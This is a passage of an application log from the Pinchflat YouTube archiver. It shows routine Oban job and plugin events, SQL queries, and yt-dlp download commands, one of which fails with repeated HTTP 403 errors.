{"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:52.721 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.108 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:22.722 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:52.723 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.109 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:22.724 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:52.726 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.110 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:22.727 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:52.728 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.111 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:22.729 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:52.730 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.112 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:22.731 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:37.194 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775066557194659039,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:02:37.195 [debug] QUERY OK source="media_items" db=0.4ms idle=664.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 14:02:37.195 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:02:37.196 [debug] QUERY OK source="sources" db=0.3ms idle=664.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:02:37.196 [debug] QUERY OK source="media_profiles" db=0.3ms idle=665.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:02:37.197 [debug] QUERY OK source="media_items" db=0.5ms idle=9.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 14:02:37.197 [debug] QUERY OK source="media_metadata" db=0.0ms idle=3.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 14:02:37.198 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:02:37.198 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:37.198 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:37.198 [debug] Running yt-dlp command for action: get_downloadable_status 14:02:37.199 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:37.199 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:37.199 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:37.199 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9f/0b/9f0b4ce3b603b156e3d6ec2c821680a0642743302964d8d20249ab4464d8d556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:02:42.380 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9f/0b/9f0b4ce3b603b156e3d6ec2c821680a0642743302964d8d20249ab4464d8d556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:02:42.380 [debug] Running yt-dlp command for action: download 14:02:42.381 [debug] QUERY OK source="settings" db=0.1ms idle=1850.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:42.381 [debug] QUERY OK source="settings" db=0.0ms idle=1850.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:42.381 [debug] QUERY OK source="settings" db=0.0ms idle=1850.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:42.381 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/90/3190aa2ef23abfa474368c1d3da0a26ee3a4db99272d1f27c2a5e205e0512e4c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:02:51.045 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/90/3190aa2ef23abfa474368c1d3da0a26ee3a4db99272d1f27c2a5e205e0512e4c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 14:02:51.045 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 14:02:51.046 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13851342,"event":"job:exception","queue_time":153725,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:02:52.732 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.113 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:22.733 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:52.735 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.115 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:22.737 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:52.738 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.115 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:22.739 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:52.740 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.116 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:22.741 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:52.742 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.117 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:08.509 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775066828509545019,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:07:08.510 [debug] QUERY OK source="media_items" db=0.2ms idle=1979.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 14:07:08.510 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:07:08.510 [debug] QUERY OK source="sources" db=0.2ms idle=1008.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:07:08.510 [debug] QUERY OK source="media_profiles" db=0.1ms idle=980.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:07:08.511 [debug] QUERY OK source="media_items" db=0.2ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 14:07:08.511 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 14:07:08.512 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:07:08.512 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:08.512 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:08.512 [debug] Running yt-dlp command for action: get_downloadable_status 14:07:08.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:08.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:08.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:08.513 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/47/7947b810775e6f73a4c1e559113afd0b8d55a9222e64ffe793a81b4fc31edc09.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:07:13.513 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/47/7947b810775e6f73a4c1e559113afd0b8d55a9222e64ffe793a81b4fc31edc09.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:07:13.513 [debug] Running yt-dlp command for action: download 14:07:13.513 [debug] QUERY OK source="settings" db=0.1ms idle=1982.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:13.513 [debug] QUERY OK source="settings" db=0.1ms idle=1982.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:13.513 [debug] QUERY OK source="settings" db=0.1ms idle=1983.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:13.514 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/be/1d/be1d0d808e0ad593111126b4dce44deaf85010e02e1339df7b13a3ea5880fdc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:07:22.744 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:52.745 [info] 